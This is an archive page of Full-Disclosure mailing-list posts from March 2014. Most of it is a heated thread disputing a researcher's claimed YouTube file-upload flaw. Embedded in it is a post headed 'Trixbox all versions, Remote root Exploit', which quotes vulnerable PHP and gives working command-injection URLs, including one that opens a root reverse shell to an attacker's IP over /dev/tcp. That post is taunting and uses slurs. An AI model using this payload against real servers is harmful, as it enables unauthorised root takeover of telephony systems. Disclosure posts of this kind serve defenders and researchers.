 AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--
 uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=
 CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw

 That information can be queried from the db, where the metadata are
 saved. The files are being saved persistently , as per the above example.


 On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:


 http://upload.youtube.com/?authuser=0upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw

 That information can be queried from the db, where the metadata are
 saved. The files are being saved persistently , as per the above example.


 On Fri, Mar 14, 2014 at 8:00 PM, Chris Thompson 
 christhom7...@gmail.com wrote:

 Hi Nikolas,

 Please do read (and understand) my entire email before responding -
 I understand your frustration trying to get your message across but 
 maybe
 this will help.

 Please put aside professional pride for the time being - I know how
 it feels to be passionate about something yet have others simply not
 understand.

 Let me try and bring some sanity to the discussion and explain to
 you why people maybe not agreeing with you.

 You (rightly so) highlighted what you believe to be an issue in a
 Youtube whereby it appears (to you) than you can upload an arbitrary 
 file.
 If you can indeed do this as you suspect then your points are valid and 
 you
 

[Full-disclosure] Trixbox all versions , Remote root Exploit

2014-03-15 Thread 0u7 5m4r7
# App : Trixbox all versions
# vendor : trixbox.com
# Author : i-Hmx
# mail : n0p1...@gmail.com
# Home : security arrays inc , sec4ever.com ,exploit4arab.net

Well well well , we decided to give schmoozecom a break and have a look @
fonality products
do you think they have better product than the (Award winning) trixbox!!!
I don't think so
Designed and marketed for Fonality's partner community, trixbox Pro is an
IP-PBX software solution purpose built to support growing SMB businesses.
A unique hybrid hosted telephony solution; trixbox Pro provides big
business features at an SMB cost . . blah blah blah
What do we have here??
A 3 years old Sql injection flaw???
not big deal , and already been reported
not enough good exloitation , but reported
A file disclosure flaw???
save it for later
let's give Fonality little Remote root Exploit xD
and als give the pentesters some pain in the ass trying to exploit this
consider it as challenge ;)
Here we go
Vulnerable file :
/var/www/html/maint/modules/endpointcfg/endpoint_aastra.php
Pice of $hit , sorry i mean code

switch($_action) {
case 'Edit':
if ($_REQUEST['newmac']){ // create a new phone from device map
$mac_address = $_REQUEST['newmac'];
}
if ($_REQUEST['mac']){
$phoneinfo = GetPhone($_REQUEST['mac'],$PhoneType);
$mac_address=$phoneinfo['mac_address'];} // if there is a
request ID we Edit otherwise add a new phone

$freepbx_device_list = GetFreepbxDeviceList();
$smarty-assign(mac_address, $mac_address);
$smarty-assign(phone, $phoneinfo);
$smarty-assign(freepbx_device_list, $freepbx_device_list);

$smarty-assign(message, $message);
$template = endpoint_.$PhoneType._edit.tpl;
break;

case 'Delete':
exec(rm .$sipdir.$_REQUEST['mac']..cfg);
getSQL(DELETE FROM .$PhoneType. WHERE
mac_address='.$_REQUEST['mac'].','endpoints');
$smarty-assign(phones, ListPhones($PhoneType));
$template = endpoint_.$PhoneType._list.tpl;
break;

it's obvious we care about this line
exec(rm .$sipdir.$_REQUEST['mac']..cfg);
Exploitation demo :
maint/modules/endpointcfg/endpoint_aastra.php?action=Deletemac=fa;echo
idxx;faris
result will be written to xx
but this is not the full movie yet ,
Am here to give fonality an night mare , which take the form of root
privzz
actually the server is configured by default to allow the web interface
pages to edit many files @ the root directory
so any noob can easily execute the sudo fu#k with out being permited for
password , and the result is  root
Demo
Back connection with root privs
maint/modules/endpointcfg/endpoint_aastra.php?action=Deletemac=fa;sudo
bash -i %26 %2fdev%2ftcp%2fxxx.xxx.xxx.xxx%2f1337 0%261;faris
change to your ip and the port you are listening to
and , Volia , you are root
now am sure you're happy as pig in $hit xD
Still need more??
you will notice that you're unable to reach this file due to the http
firewall
but actually there is simple and yet dirty trick that allow you to get pass
through it , and execute your command smothely as boat on the river ;)
And here come the challengs , let's see what the faggots can do with this ;)
need hint???
use your mind and fu#k off :/

Big greets fly to the all sec4ever family
OH , and for voip lames , you can use our 0Days for sure
but once it become 720Days xD
Regards,
Faris the Awsome
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread M Kirschbaum
The thread starter is right about this. It is a vulnerability, and I think 
Google should start considering this.
 
The JSON service responds to GET requests , and there is a good chance that the 
service is also vulnerable to JSON Hijacking attacks.
 
As a professional penetration tester , I believe that Google was false not to 
award this.___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-15 Thread Michael Smith

I'm just a lurker on the list, which I have always found valuable. 

But for what it's worth, this thread is an awful bore. Who cares 
about people's credentials? 

I'm not asking for administrative intervention, which I hate, but 
rather that the various entrants in the pissing contest empty their 
bladders elsewhere. Please! 


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread Colette Chamberland
Same here... It's like a train wreck, you know you shouldn't watch but it's 
just so damned entertaining at this point that I can't stop...



Sent from my iPhone

 On Mar 14, 2014, at 2:46 PM, Yvan Janssens i...@yvanj.me wrote:
 
 Does anybody still have some popcorn left? 
 
 They ran out of it in the tax free zone in here due to this thread...
 
 Kind regards,
 
 Yvan Janssens
 
 Sent from my PDA - excuse me for my brevity
 
 On 14 Mar 2014, at 18:40, Nicholas Lemonias. lem.niko...@googlemail.com 
 wrote:
 
 We have many PoC's including video clips. We may upload for the security 
 world to see.
  
 However, this is not the way to treat security vulnerabilities. Attacking 
 the researcher and bringing you friends to do aswell, won't mitigate the 
 problem.
  
  
 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/
 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread William Scott Lockwood III
It's amazing how much dumber I feel for having read your drivel.
Please for the love of $diety stop posting to this list.

--
W. Scott Lockwood III
AMST Tech (SPI)
GWB2009033817
http://www.shadowplayinternational.org/
There are four boxes to be used in defense of liberty:  soap, ballot,
jury, and ammo. Please use in that order. -Ed Howdershelt (Author)


On Fri, Mar 14, 2014 at 9:48 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:
 Go to sleep. You have absolutely no understanding of the vulnerability, nor
 you have the facts.

 If you want a full report ask Softpedia, because we aint releasing them.


 On Fri, Mar 14, 2014 at 8:39 PM, R D rd.secli...@gmail.com wrote:

 You are trying to execute an sh script through a video player. That's an
  exec() command.
 No, it's not. That's an HTTP GET. Do you have such a poor understanding of
 how web applications work? Or did you just not read what I said?

 So its the wrong way about accessing the file.
 This way, which is the standard way to access files on youtube, tells me
 the file doesn't exist. You have yet to prove the file you uploaded can be
 accessed or executed by anyone. For that matter, you have still to prove it
 can be discovered by anyone. That URL is hard to guess.
 And you have still to answer all my other questions, and most of the
 questions asked to you on this list.
 The burden of proof is on you, and you are making a fool of yourself by
 answering all the questions here with the same statements, and links to your
 PoC that doesn't proves anything, while everybody asks you for more
 evidence.
 Keep on the (good?) work,
 --Rob'


 On Fri, Mar 14, 2014 at 9:22 PM, Nicholas Lemonias.
 lem.niko...@googlemail.com wrote:

 You are trying to execute an sh script through a video player. That's an
 exec() command. So its the wrong way about accessing the file.


 On Fri, Mar 14, 2014 at 8:20 PM, R D rd.secli...@gmail.com wrote:

 No it's not. As Chris and I are saying, you don't have proof your file
 is accessible to others, only that is was uploaded. Now, you see, when you
 upload a video to youtube, you get the adress where it will be viewable in
 the response. In your case :

 {sessionStatus:{state:FINALIZED,externalFieldTransfers:[{name:file,status:COMPLETED,bytesTransferred:113,bytesTotal:113,formPostInfo:{url:http://www.youtube.com/upload/rupio?authuser=0\u0026upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026file_id=000,cross_domain_url:http://upload.youtube.com/?authuser=0\u0026upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026origin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw},content_type:text/x-sh}],additionalInfo:{uploader_service.GoogleRupioAdditionalInfo:{completionInfo:{status:SUCCESS,customerSpecificInfo:{status:
 ok, video_id:
 KzKDtijwHFI,upload_id:AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw}}
 And what do we get when we browse to
 https://youtube.com/watch?v=KzKDtijwHFI ?
 Nothing.
 Can you send me a link where I can access the file content of the
 arbitrary file you uploaded?
 Are you sure this json response, or this file, will be there in a month?
 Or in a year? Is the fact that this json response exists a threat to
 youtube? Can you quantify how of a threat? How much, in dollars, does it
 hurt their business?

 --Rob


 On Fri, Mar 14, 2014 at 9:08 PM, Nicholas Lemonias.
 lem.niko...@googlemail.com wrote:

 My claim is now verified

 Cheers!


 On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias.
 lem.niko...@googlemail.com wrote:


 http://upload.youtube.com/?authuser=0upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw

 That information can be queried from the db, where the metadata are
 saved. The files are being saved persistently , as per the above example.


 On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias.
 lem.niko...@googlemail.com wrote:


 http://upload.youtube.com/?authuser=0upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw

 That information can be queried from the db, where the metadata are
 saved. The files are being saved persistently , as per the above 
 example.


 On Fri, Mar 14, 2014 at 8:00 PM, Chris Thompson
 christhom7...@gmail.com wrote:

 Hi Nikolas,

 Please do read (and understand) my entire email before responding -
 I understand your frustration trying to get your message across but 
 maybe
 this will help.

 Please put aside professional pride for the time being - I know how
 it feels to be passionate about something yet have others simply not
 understand.

 Let me try and bring some sanity to the discussion 

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread Colette Chamberland
Omg please for the love of all things human STFU!!!

Sent from my iPhone

 On Mar 15, 2014, at 12:43 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:
 
 If you wish to talk seriously about the problem, please send me an email 
 privately. And we can talk about what we have found so far, and perhaps 
 present some more proof of concepts for this on going research. This is 
 between the researcher and Google.
  
 People who do not have the facts have been, trying to attack the arguer, on 
 the basis of their personal beliefs. We are not speaking from experience, but 
 based on our findings which includes PoC media, images, codes - and based on 
 academic literature and recognised practise. Please bear in mind that a lot 
 of research is conducted in academia (those old papers you say) before 
 finally released to the commercial markets.
  
 Regards, 
  
 Nicholas Lemonias
 Information Security Expert
 Advanced Information Security Corp.
 
  
 On Fri, Mar 14, 2014 at 10:49 PM, Mario Vilas mvi...@gmail.com wrote:
 Try learning how to properly send emails before critizicing anyone, pal. ;)
 
 
 On Fri, Mar 14, 2014 at 6:44 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:
 
 People can read the report if they like. Can't you even do basic things 
 like reading a vulnerability report?
  
 Can't you see that the advisory is about writing arbitrary files. If I was 
 your boss I would fire you.
 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Fri, Mar 14, 2014 at 5:43 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Mario Vilas mvi...@gmail.com
 
 
 People can read the report if they like. Can't you even do basic things 
 like reading a vulnerability report?
  
 Can't you see that the advisory is about writing arbitrary files. If I was 
 your boss I would fire you, with a good kick outta the door.
  
  
  
  
 
 
 On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.com wrote:
 On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:
 Jerome of Mcafee has made a very valid point on revisiting  separation of 
 duties in this security instance.
  
 Happy to see more professionals with some skills.  Some others have also 
 mentioned the feasibility for Denial of Service attacks. Remote code 
 execution by Social Engineering is also a prominent scenario.
 
 Actually, people have been pointing out exactly the opposite. But if you 
 insist on believing you can DoS an EC2 by uploading files, good luck to 
 you then...
  
  
 If you can't tell that that is a vulnerability (probably coming from a 
 bunch of CEH's), I feel sorry for those consultants.
 
 You're the only one throwing around certifications here. I can no longer 
 tell if you're being serious or this is a massive prank.
  
  
 Nicholas.
 
 
 On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:
 We are on a different level perhaps. We do certainly disagree on those 
 points.
 I wouldn't hire you as a consultant, if you can't tell if that is a 
 valid vulnerability..
  
  
 Best Regards,
 Nicholas Lemonias.
  
 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote:
 But do you have all the required EH certifications? Try this one from 
 the Institute for 
 Certified Application Security Specialists: http://www.asscert.com/
 
 
 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:
 Thanks Michal,
  
 We are just trying to improve Google's security and contribute to the 
 research community after all. If you are still on EFNet give me a 
 shout some time.
  
  We have done so and consulted to hundreds of clients including 
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. 
 We are also strict supporters of the ACM code of conduct.
  
 Regards,
 Nicholas Lemonias.
 AISec
 
 
 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:
 Hi Jerome,
  
 Thank you for agreeing on access control, and separation of duties.
  
 However successful exploitation permits arbitrary write() of any file 
 of choice.
  
 I could release an exploit code in C Sharp or Python that permits 
 multiple file uploads of any file/types, if the Google security team 
 feels that this would be necessary. This is unpaid work, so we are 
 not so keen on that job. 
  
 
 
 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias 
 athiasjer...@gmail.com wrote:
 Hi
 
 I concur that we are mainly discussing a terminology problem.
 
 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.
 
 As a professional, you would have to explain if/how this finding is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and 

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread Brian M. Waters
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

On 03/15/2014 02:26, Nicholas Lemonias. wrote:
 https://www.youtube.com/watch?v=G4EkgJtjDvU - Here is proof that 
 the file is saved and processed.

disclaimer
Compared to probably most of the folks on this list, I have absolutely
no idea what I'm doing.
/disclaimer

However, at the time I accessed your latest URL (around 2:51 AM EST, or
6:51 GMT), I got a message saying The video is currently being
processed.

So, for all we know, the file is in some queue, waiting for Google to
notice that it's invalid, at which point it will be deleted.

Please get back to us when we are able to download your invalid file,
via YouTube, on our various machines scattered across the globe.

Also, please stop sending so many damn short emails in a row.
Consolidation is nice.

Thank you,

BW

- -- 
Brian M. Waters
+1 (908) 380-8214
br...@brianmwaters.net

-BEGIN PGP SIGNATURE-
Version: GnuPG v2.0.22 (FreeBSD)

iQEcBAEBCgAGBQJTI/v3AAoJEEYNFaEjEsGopDwH/R8q9+1wWsKg0j8Wg5zIdZZr
tVNT0IIh9vyjC57WxxQ2SamKoEWsCSt4A8aQ60gup2ImT+XoRpSYMZKWAyKOwz//
yiDjKKI9fsRRdXaBT3r8uWLftWA8WzASrMqrqMhayj06HNXjRXhyonJVdxxgrg/6
h+FaZYGlYdmrGtb02pve5i7in6OoYBQj4m85KVzq+Pnvfowqo6VHzlLwfK3vaD4a
8sEm+i63N02VT6ItO9y7fCcv52pU0sjepGIoYV2aTHkIR3BaNmyxSEVaOZclDY37
6HFSdkWZP0rvkQefNY6QcUvMfBszxFfecQ5cGfIcbScx35iLChXQMYJpH9dmPao=
=Ngjk
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] Full-Disclosure Digest, Vol 109, Issue 32

2014-03-15 Thread ChienD
For the n00b guy in the room, Great post Chris!
Thanks for spelling it out clearly.




 Message: 6
 Date: Fri, 14 Mar 2014 16:00:02 -0400
 From: Chris Thompson christhom7...@gmail.com
 To: lem.niko...@googlemail.com, full-disclosure@lists.grok.org.uk
 Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
 Message-ID:
 CALHzGp4-tjHByqZxJ+mR4=
 ysuwpg4fu7byno8h3f-29e51d...@mail.gmail.com
 Content-Type: text/plain; charset=iso-8859-1

 Hi Nikolas,

 Please do read (and understand) my entire email before responding - I
 understand your frustration trying to get your message across but maybe
 this will help...



Matt
So much to learn, So little time
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread David H
Just curious; what universities have hired you as a lecturer?


On Sat, Mar 15, 2014 at 1:09 AM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 You are too vague. Please keep this to a level.

 Thank you.


 *Best Regards,*
 *Nicholas Lemonias*

 *Advanced Information Security Corporation.*


 On Sat, Mar 15, 2014 at 5:06 AM, Colette Chamberland 
 cjchamberl...@gmail.com wrote:

 Omg please for the love of all things human STFU!!!

 Sent from my iPhone

 On Mar 15, 2014, at 12:43 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 If you wish to talk seriously about the problem, please send me an email
 privately. And we can talk about what we have found so far, and perhaps
 present some more proof of concepts for this on going research. This is
 between the researcher and Google.

 People who do not have the facts have been, trying to attack the arguer,
 on the basis of their personal beliefs. We are not speaking from
 experience, but based on our findings which includes PoC media, images,
 codes - and based on academic literature and recognised practise. Please
 bear in mind that a lot of research is conducted in academia (those old
 papers you say) before finally released to the commercial markets.

 Regards,

 *Nicholas Lemonias*
 *Information Security Expert*
 *Advanced Information Security Corp.*


 On Fri, Mar 14, 2014 at 10:49 PM, Mario Vilas mvi...@gmail.com wrote:

 Try learning how to properly send emails before critizicing anyone, pal.
 ;)


 On Fri, Mar 14, 2014 at 6:44 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:


 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you.
 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
  Date: Fri, Mar 14, 2014 at 5:43 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Mario Vilas mvi...@gmail.com


 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you, with a good kick outta the door.






 On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.com wrote:

  On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Jerome of Mcafee has made a very valid point on
 revisiting  separation of duties in this security instance.

 Happy to see more professionals with some skills.  Some others have
 also mentioned the feasibility for Denial of Service attacks. Remote code
 execution by Social Engineering is also a prominent scenario.


 Actually, people have been pointing out exactly the opposite. But if
 you insist on believing you can DoS an EC2 by uploading files, good luck 
 to
 you then...



 If you can't tell that that is a vulnerability (probably coming from
 a bunch of CEH's), I feel sorry for those consultants.


 You're the only one throwing around certifications here. I can no
 longer tell if you're being serious or this is a massive prank.



 Nicholas.


 On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on
 those points.
 I wouldn't hire you as a consultant, if you can't tell if that is a
 valid vulnerability..


 Best Regards,
 Nicholas Lemonias.

  On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.comwrote:

 But do you have all the required EH certifications? Try this one
 from the Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to
 the research community after all. If you are still on EFNet give me a 
 shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. 
 We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of
 duties.

 However successful exploitation permits arbitrary write() of any
 file of choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team 
 feels
 that this would be necessary. This is unpaid work, so we are not so 
 keen on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias 
 athiasjer...@gmail.com wrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes 

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread antisnatchor
Btw, not sure if someone already mentioned it, but you are really
reaching the level
of MustLive. That's actually a big achievement. Congratz.

I'm not sure if you got what lcamtuf is saying (I'm impressed he still
takes time to reply to you),
apparently not. You're still trying to convince us that you're right.

Maybe you can create the next LOIC specifically tailored to DoS Youtube
with this serious bug, ROFL!

Cheers
antisnatchor

Nicholas Lemonias. wrote:
 If you wish to talk seriously about the problem, please send me an email
 privately. And we can talk about what we have found so far, and perhaps
 present some more proof of concepts for this on going research. This is
 between the researcher and Google.

 People who do not have the facts have been, trying to attack the arguer, on
 the basis of their personal beliefs. We are not speaking from experience,
 but based on our findings which includes PoC media, images, codes - and
 based on academic literature and recognised practise. Please bear in mind
 that a lot of research is conducted in academia (those old papers you
 say) before finally released to the commercial markets.

 Regards,

 *Nicholas Lemonias*
 *Information Security Expert*
 *Advanced Information Security Corp.*


 On Fri, Mar 14, 2014 at 10:49 PM, Mario Vilas mvi...@gmail.com wrote:

 Try learning how to properly send emails before critizicing anyone, pal. ;)


 On Fri, Mar 14, 2014 at 6:44 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you.
 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
  Date: Fri, Mar 14, 2014 at 5:43 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Mario Vilas mvi...@gmail.com


 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you, with a good kick outta the door.






 On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.com wrote:

  On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Jerome of Mcafee has made a very valid point on revisiting  separation
 of duties in this security instance.

 Happy to see more professionals with some skills.  Some others have
 also mentioned the feasibility for Denial of Service attacks. Remote code
 execution by Social Engineering is also a prominent scenario.

 Actually, people have been pointing out exactly the opposite. But if you
 insist on believing you can DoS an EC2 by uploading files, good luck to you
 then...


 If you can't tell that that is a vulnerability (probably coming from a
 bunch of CEH's), I feel sorry for those consultants.

 You're the only one throwing around certifications here. I can no longer
 tell if you're being serious or this is a massive prank.


 Nicholas.


 On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on those
 points.
 I wouldn't hire you as a consultant, if you can't tell if that is a
 valid vulnerability..


 Best Regards,
 Nicholas Lemonias.

  On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.comwrote:

 But do you have all the required EH certifications? Try this one from
 the Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to
 the research community after all. If you are still on EFNet give me a 
 shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. 
 We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any
 file of choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team 
 feels
 that this would be necessary. This is unpaid work, so we are not so 
 keen on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias 
 athiasjer...@gmail.com wrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding
 is a
 

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-15 Thread M Kirschbaum
I have been watching this thread for a while and I think some people are being 
hostile here. 
 
There is nothing to gain being on eithers side but for the sake of security. As 
a penetration tester, writer, and malware analyst with a long and rewarding 
career...it would be absurd to admit that this is not a vulnerability. If the 
content-type fields can be altered and the API accepts it that is undoubtedly a 
vulnerability, I believe that it shouldn't be there. It would be a shame to say 
that this is not a security problem. I have seen different responses on this 
thread but having seen the proof of concept images as well I just think that 
some of the people commenting here are just being hostile. 
 
It doesn't take much for somebody in the field, to see clearly that Google does 
not want to pay. And I bet any amount of money that the bug bounty program is a 
way for filing potential threats by name and bank details.
 
Rgds,
M. Kirschbaum ___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread Mario Vilas
On Sat, Mar 15, 2014 at 5:43 AM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 People who do not have the facts have been, trying to attack the arguer,
 on the basis of their personal beliefs.


Wow. I seriously can't tell if you're trolling or unbelievably narcissistic.

Your work has serious flaws, and have been pointed out with facts over and
over - but you think they're ad-hominem attacks based on the tone of their
replies. Zalewski here is just trying to be nice and patient with you - but
you somehow seem to believe he agrees with you based on the tone of his
replies.

You're either faking it and pulling a massive prank on all of us, or you're
so self absorbed you can't get past your own emotional responses to people
pointing out your mistakes. The actual contents of what they tell you are
irrelevant to you, all that matters is if people praise or criticize you.

I'm beginning to think you may have issues and we should all back off for a
while.

-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the state tend to become the people.”
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread Mario Vilas
That is not what this email says. You can't reply correct to criticism
and pretend it's praise.


On Sat, Mar 15, 2014 at 6:11 AM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 Correct.

 The mime type can be circumvented. We can confirm this to be a valid
 vulnerability.

 For the PoC's :


 http://news.softpedia.com/news/Expert-Finds-File-Upload-Vulnerability-in-YouTube-Google-Denies-It-s-a-Security-Issue-431489.shtml

 On Fri, Mar 14, 2014 at 8:40 PM, Krzysztof Kotowicz 
 kkotowicz...@gmail.com wrote:


 2014-03-14 20:28 GMT+01:00 Nicholas Lemonias. lem.niko...@googlemail.com
 :

 Then that also means that firewalls and IPS systems are worthless. Why
 spend so much time protecting the network layers if a user can send any
 file of choice to a remote network through http...


 No, they are not worthless per se, but of course for an user content
 publishing service they need to allow file upload over HTTP/s. How far
 those files are inspected and later processed is another question - and
 that could lead to a vulnerability that you DIDN'T demonstrate.

 You just uploaded a .sh file. There's no harm in that as nowhere did you
 prove that that file is being executed. Similarly (and that has been
 pointed out in this thread) you could upload a PHP-GIF polyglot file to a
 J2EE application - no vulnerability in this. Prove something by overwriting
